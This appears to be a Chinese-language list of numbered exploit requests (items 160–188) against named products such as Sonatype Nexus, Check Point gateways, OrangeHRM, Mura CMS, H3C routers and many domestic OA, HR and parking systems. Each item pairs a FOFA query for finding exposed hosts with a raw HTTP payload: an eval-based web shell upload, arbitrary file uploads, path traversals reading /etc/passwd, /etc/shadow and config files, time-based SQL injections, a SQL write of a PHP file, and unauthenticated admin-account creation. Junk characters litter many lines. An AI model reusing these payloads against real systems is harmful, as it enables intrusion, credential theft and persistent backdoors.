Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
. y, }" Z; Y8 ]# `& h& N# yContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
% N2 E5 @6 X/ d- v0 p
<?xml version="1.0" encoding="utf-8"?>
' d" p3 J0 P5 b1 p! o) I4 V3 z<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
' k7 A2 p% \! C2 Z  @<soap:Body>
7 W3 w4 D8 u4 {7 B% f; l; D( @<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
! B8 H0 ]! s- L! k+ T1 w<subFolder></subFolder>
% h8 V+ r- y& X4 ?+ g/ p: Y<fileName>abcrce.asmx</fileName>
% S1 e& Q# [& c4 Z" W2 J' c/ N( {<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
; r- V! X# I1 o! |4 J/ K$ \" I</jobUpload>
) V9 W, `5 t0 P8 g+ ?! e5 k! C: W' a</soap:Body>
$ V* O6 }& s( _, b1 q/ ~* Z</soap:Envelope>

2 m& ^: Y& n* v0 S8 L5 r5 w+ A9 c
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
+ A5 E) o0 A! `0 Z! D) O

160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
FOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
; O6 p- D5 n! r# ZHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
+ D9 Q; [' v" s3 TAccept: */*
' z. b5 C% @+ c' K/ O& T) _Accept-Language: en
Accept-Encoding: gzip

0 |: ]( h* D0 _
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
- b" F. z5 i2 g$ {Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
& r, E% A" J; j5 A; NConnection: close
Content-Length: 445
Content-Type: text/xml
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
1 _8 j, J1 _' }( R9 ?0 U<ip>1</ip>
* ?, ^: G* c' |. ^6 W* Y+ L# x<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
9 p3 q  ~  Z7 ]" j, e6 X<tag>3</tag>
</UploadResume>
</soap:Body>
</soap:Envelope>
9 k- p- \0 _% P0 n1 L* E5 D7 n
9 C0 J# m6 ^) i$ t1 C& |
http://x.x.x.x/dizxdell.aspx
2 O+ W5 [: d" r0 b! F
1 k& n. M& i% A162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
' h6 g4 ~9 H- LPOST /QH.aspx HTTP/1.1
& c" R! M$ r( j$ {Host: x.x.x.x
$ j3 X  N( G' `" uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
) r4 q6 W0 |4 C0 r1 I2 SContent-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
' e6 A1 T- f  `4 D& R: F% V4 M$ }Accept-Encoding: gzip

+ K3 z8 K; r: J+ Z------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

  r7 c7 P" l5 s<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

upload
* |' d" ?3 x/ H" e, o" }3 |------WebKitFormBoundaryeegvclmyurlotuey
; V6 r1 Y) ~6 n$ K6 e$ g6 l4 mContent-Disposition: form-data; name="responderId"
1 \! m$ |3 ?  [# `; r1 [
ResourceNewResponder
9 N6 {8 ?8 M6 \# x4 C( S9 F------WebKitFormBoundaryeegvclmyurlotuey
9 k* T6 x1 d5 _' z( F1 d! SContent-Disposition: form-data; name="remotePath"
5 ^1 i" y8 I& P0 k! A
/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--

5 b& k* j3 y& l: T
) E* G1 V/ L3 K5 [http://x.x.x.x/opt/resources/kjuhitjgk.aspx
' L  j4 [# B! a: C2 F: R# m
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
( q3 d: K0 T6 H: u1 N& y5 rFOFA: icon_hash="-795291075"
: c' P8 j5 @) |2 w) H- Q8 }POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
+ M* m& |- N, o- ?8 D5 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
4 K9 \; \4 E4 z; h' z3 YConnection: close
Content-Length: 293
* \, k: t4 H7 d7 _0 NAccept: */*
  v9 Y1 P6 \8 ]Accept-Encoding: gzip, deflate
# I  q( P3 W& J2 t- J; l7 YAccept-Language: zh-CN,zh;q=0.9
- c& ~. U8 Q! I4 J/ h; MContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

9 L* W+ N% S' J+ w8 N7 U! f# d------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
8 a/ m' T1 j- {9 V! G. H
7 }7 i. D/ ]7 n: B1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
: f4 ]1 k7 m1 c1 f  j; rContent-Type: image/jpeg

+ M9 f: T- l. m4 ^, {1 |. N: {rvjhvbhwwuooyiioxega
! V. ^3 Z8 q. {2 S1 t4 L  F------iiqvnofupvhdyrcoqyuujyetjvqgocod--


7 r2 f/ q/ @# P& v164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
. k# e2 X" ], }- j8 k4 S: ~* F0 @POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
- w6 Y$ A, j' X1 f. VHost: x.x.x.x
; k# c& w5 t* t, B. p4 MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
( H! b, [! {! U: Z$ E  O2 zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
4 c; O& M# s0 E6 E2 eConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
' J/ y2 H$ t: z: e% UX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
  I/ r" p! J; ^3 n/ P/ L4 F  @
  N2 J0 Q& ~: h7 V3 c4 ^: E) a------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
4 D3 u8 m2 v( xContent-Type: image/jpeg
0 u% Y* Q+ k! m! ~9 S
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--
/ L* ]8 x. [0 d2 H
- \' r( @  g3 T$ f: Q9 U6 f
! y: z6 n- d$ U& mhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
7 j$ b, F& w# H+ a; V; o6 dCVE-2024-36428
3 i6 A; B5 t0 a( H- uFOFA: app="OrangeHRM-产品"
. l" a( n/ V) O9 R- v- rURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
$ z8 j! m- f% X' C- k1 D/ r
! j0 O* Q8 j$ Q# @5 ]. u  _
166. 中成科信票务管理平台SeatMapHandler SQL注入
/ l& R' ]- }- J9 A' JFOFA：body="技术支持：北京中成科信科技发展有限公司"
6 ?/ r( t' g$ J/ LPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
& Z6 a5 x5 g& Q* Y6 BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 t8 H  _- `6 t1 [4 iAccept-Encoding: gzip, deflate
/ m' y6 \" L% m6 r6 n- X7 z% P, HAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
2 D# U( i, R+ U- \, `Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

7 O! v! E9 x# x* E2 ]3 ]Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

0 \/ u7 v2 B: f! J
167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
" m/ Z0 `9 ^' v& _8 a" rAccept-Encoding: gzip, deflate
' [5 k. i; x& ?: \. CAccept: */*
Connection: keep-alive
2 J& t0 Y1 B, I* N  ~
. J8 E" T0 |" Z8 F9 K' C
8 K) T' V) b  e168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
2 s. B$ ]4 A! n( q( @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
( S( z8 n  L7 Q0 c, W
) P# d  ~+ ~0 v2 A
4 X: t9 ~9 J$ i4 q- m& k2 `
. }) g& n1 N6 o# P6 |169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 e& J  X9 ~' ~4 LAccept: */*
9 h; Z# S. s: ?% k$ j9 aAccept-Encoding: gzip, deflate
Connection: close

5 j6 J! _& h7 [4 C
; G3 w% t" W# h. `3 K/ B' j
" ]; i- Z) x: m# i, `170. 宏景EHR DisplayExcelCustomReport 任意文件读取
7 z% p5 Z" j& t5 l5 Q6 k- XFOFA：body="/general/sys/hjaxmanage.js"
) E2 c# u9 c5 T* s7 {; Y" D8 h2 nPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
6 ]' ?  u- I) k! lUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- I7 ^; n# F/ Z' F& A, w% W, PContent-Type: application/x-www-form-urlencoded
# v. d' R! n$ T5 F0 V0 u
filename=../webapps/ROOT/WEB-INF/web.xml


171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
6 [" ~8 [' T' _/ p- Q9 rGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
5 g; J0 M/ V+ P' R- W( ~5 U- |Accept: */*
. C1 A0 L+ A! GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ U5 O; M' \( l6 V% m( ~( lAccept-Encoding: gzip, deflate
$ r2 Q/ y7 \) O' [  x4 fConnection: close
1 `( W6 B7 U) K  t) H) J
# x: ~* I; ]. C2 z

172. DT-高清车牌识别摄像机任意文件读取
4 O# e( U+ b! ?4 IFOFA：app="DT-高清车牌识别摄像机"
- g/ `2 m. _! W6 W9 G) QGET /../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ w( a. [7 I# Z- ZAccept-Encoding: gzip, deflate
Accept: */*
+ }( R! T# {1 }; ~7 n: k% VConnection: keep-alive



173. Check Point 安全网关任意文件读取
, m8 Y# W% D( O3 j3 RCVE-2024-24919
% \  M/ _' |' u+ zFOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
- H) q  V/ M' J! o1 q
  E  k- x5 \' F  z  {. h  V" g5 oaCSHELL/../../../../../../../etc/shadow


' B, w6 Q- p  M" s4 J( s
8 C  u. X; O& E$ G- Q, s# e174. 金和OA C6 FileDownLoad.aspx 任意文件读取
( E6 R) R/ T& I' zFOFA：app="金和网络-金和OA"
' V0 r* `% I0 A& p+ I( v9 VGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
: N6 p3 _" h: W" E' wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
1 }( z& w1 E$ C8 K7 L+ dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 ~/ W' r8 Y# Z/ H8 FAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close


" `1 k' }1 T/ X/ i& P8 {$ Y
/ U0 }* y4 a1 j+ Q% X9 z: y175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
; ]3 X$ ^4 [0 ?1 X( o( A6 m( _GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 p9 ]' k) i- n9 H) e5 ^& t4 {5 NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 \! N2 K+ k9 j3 vAccept-Encoding: gzip, deflate
0 G# h% m4 |  k4 ]" P+ z# ^, EConnection: close
Upgrade-Insecure-Requests: 1
' n* ]% U! ?" u

176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
8 B+ X; w+ w0 A) b; F. P, ]3 w& xPOST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
$ ^! K4 J$ t2 P. E6 T- aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

" [( b/ I3 @5 M% y------WebKitFormBoundaryOKldnDPT
" g$ }( U/ |, u' m( E& @Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
) A- ?( D- j9 Y2 x  ~, S
7 i% l  U$ o7 V/ J9 l1 d3 d<?php system("cat /etc/passwd");unlink(__FILE__);?>
( h( n3 J- ~4 |' P6 |: ^------WebKitFormBoundaryOKldnDPT
4 f! \/ Q+ i/ N. NContent-Disposition: form-data; name="uploadtime"


------WebKitFormBoundaryOKldnDPT--



177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
) J* ]8 s& }% b, l8 u3 y/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/ F8 y% ^. V/ m% }/userLogin.asp/../actionpolicy_status/../GR3200.cfg
9 j1 N* `& V( M1 _) ]/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
2 V" K3 z+ x5 S+ m! B% y/userLogin.asp/../actionpolicy_status/../ER3200.cfg
1 o; t1 U6 ?4 K' }( c2 p# z/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
* ^7 d6 s/ j! W* V4 L8 ?9 l4 S/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
1 Z- C* J9 A+ J9 o. Y" R" h/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
' b- B0 A7 P4 _) U9 E" B: G

178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
+ F3 {% V9 n8 J5 n( MPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
* a- [2 X+ ^# E9 BHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
, H  C' E! F0 f/ b1 W7 I3 h/ |Content-Length: 252
Accept-Encoding: gzip, deflate
' q2 ~% F7 g- m5 R8 nConnection: close
+ y) l, C& }+ c4 Y8 ^Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
! o( }, d5 ^: M( F) x9 T% c- j-----------------aqutkea7vvanpqy3rh2l
0 X+ c5 n/ N. bContent-Disposition: form-data; name="12234.txt"; filename="12234"
% t, l0 _* U$ t7 [Content-Type: application/octet-stream
" @) [  I- x1 lContent-Length: 255

12234
- I# y9 C; Q6 J, E1 H-----------------aqutkea7vvanpqy3rh2l--
$ z+ r2 R9 o& b. z) L  i$ S

  T. p& ^" u' r% Z3 F2 V9 }- oGET /imc/primepush/%2e%2e/flex/12234.txt
" X9 i$ a% i1 k: f8 ?/ H

# s  E- U# [1 b9 i% G179. 建文工程管理系统存在任意文件读取
0 \* Y! Q+ L4 g& cPOST /Common/DownLoad2.aspx HTTP/1.1
( h( @; S2 A% r7 Y1 E& fHost: {{Hostname}}
2 w6 x+ [: x  e% R% a2 k, O6 _Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

path=../log4net.config&Name=


( n+ x5 l$ K5 x$ D180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
; Q8 _! o3 s6 I  ~2 q. X: YGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
- |: m  s# X! z  _+ _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
# `% e) @; X' b) |6 a! \$ i& n
; A1 R; p2 r& E- ^; [
3 K$ g3 e5 R7 d7 R7 q! J9 m181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
# e8 T2 S0 E& \8 LFOFA："PDCA/js/_publicCom.js"
' s5 Q6 _( u* EPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
5 g1 l4 F1 c; r6 }3 K- w7 NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
0 |" @6 {! W- wConnection: close
Content-Type: application/x-www-form-urlencoded

# z: ~  i" P* l1 h2 h! L' N
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
7 |6 l1 B# {/ Q' T3 T' j# T" u1 \

& X" F7 u$ w- G" q182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
7 _) ]" q/ c( r" K: sAccept-Language: zh-CN,zh;q=0.9
Connection: close
. u/ ^: D9 f- [* h* _Content-Type: application/x-www-form-urlencoded
0 y" P6 K- o/ l, ^4 P
5 a0 e/ O4 d3 _) p" v0 M
& |9 K8 J8 |; B  S7 kusername=test1234&pwd=test1234&savedays=1

; Y/ O  i. L9 }! ]+ [) j+ w
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
( {& x5 X- X8 gFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
* U' e- h( b, I# J) D/ @Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
- r4 C+ P, |. D( s) m8 IAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
5 W4 C$ s9 @+ o6 K

, ]  U6 J: [! K184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
9 n3 h8 I1 w2 cPOST /soap/AddUser HTTP/1.1
" c9 y, |8 d3 x1 ~' l* \) r& c, FHost: your-ip
Accept-Encoding: gzip, deflate
$ A6 w. }- i# ~. M. v; U9 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
' G$ G* ]* i9 n$ w: ^Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; W1 R$ `* R2 o- ~# f4 {. xX-Requested-With: XMLHttpRequest


$ \  l2 H1 J  x* ]insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
/ T$ K. |8 y. K' l# O

( K& L- q% w* f% k" V6 U185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
8 d* k% |0 J7 q7 n/ d) {( X

186. F-logic DataCube3 SQL注入
8 [" E# p& d% G1 nCVE-2024-31750
* J  O5 b- P% l, PF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
! N9 G3 a$ [4 g9 M  ]+ Z" FFOFA：title=="DataCube3"
: }5 V. a! A' H+ K6 e1 R5 Q' oPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
5 @4 I$ F/ ~) d$ b; UHost: your-ip
& u5 m- K! j7 GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
7 \) V" k; a& n+ ?) O% b. F- BAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
" i: {8 Y( ?; t7 M5 wConnection: close
; ?, k1 o7 l( a" dContent-Type: application/x-www-form-urlencoded
/ n3 Q2 w9 G" d1 @, j1 o; E2 c
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

+ i& g- m- X8 d. b2 ^
187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
) G$ R5 E7 Z4 t0 q' e' r; @FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
/ ?. i& ]. w; e4 U! kHost: your-ip
8 K- g9 i! F0 C8 g' J  MContent-Type: application/x-www-form-urlencoded

( k: O; B! K: j- D
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
9 l1 A" J  a! f. T
* ?8 `2 W/ X1 M" s. E& [0 W
188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
6 x5 C1 I' t1 H1 H$ QFOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
; q9 Z8 D7 F$ _  }0 GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ ?% N2 L8 B. BAccept-Encoding: gzip, deflate
2 k" v: B( K" m0 W- E7 MAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
; [$ i8 T* O1 S1 GConnection: close
7 `! V$ K$ \! V
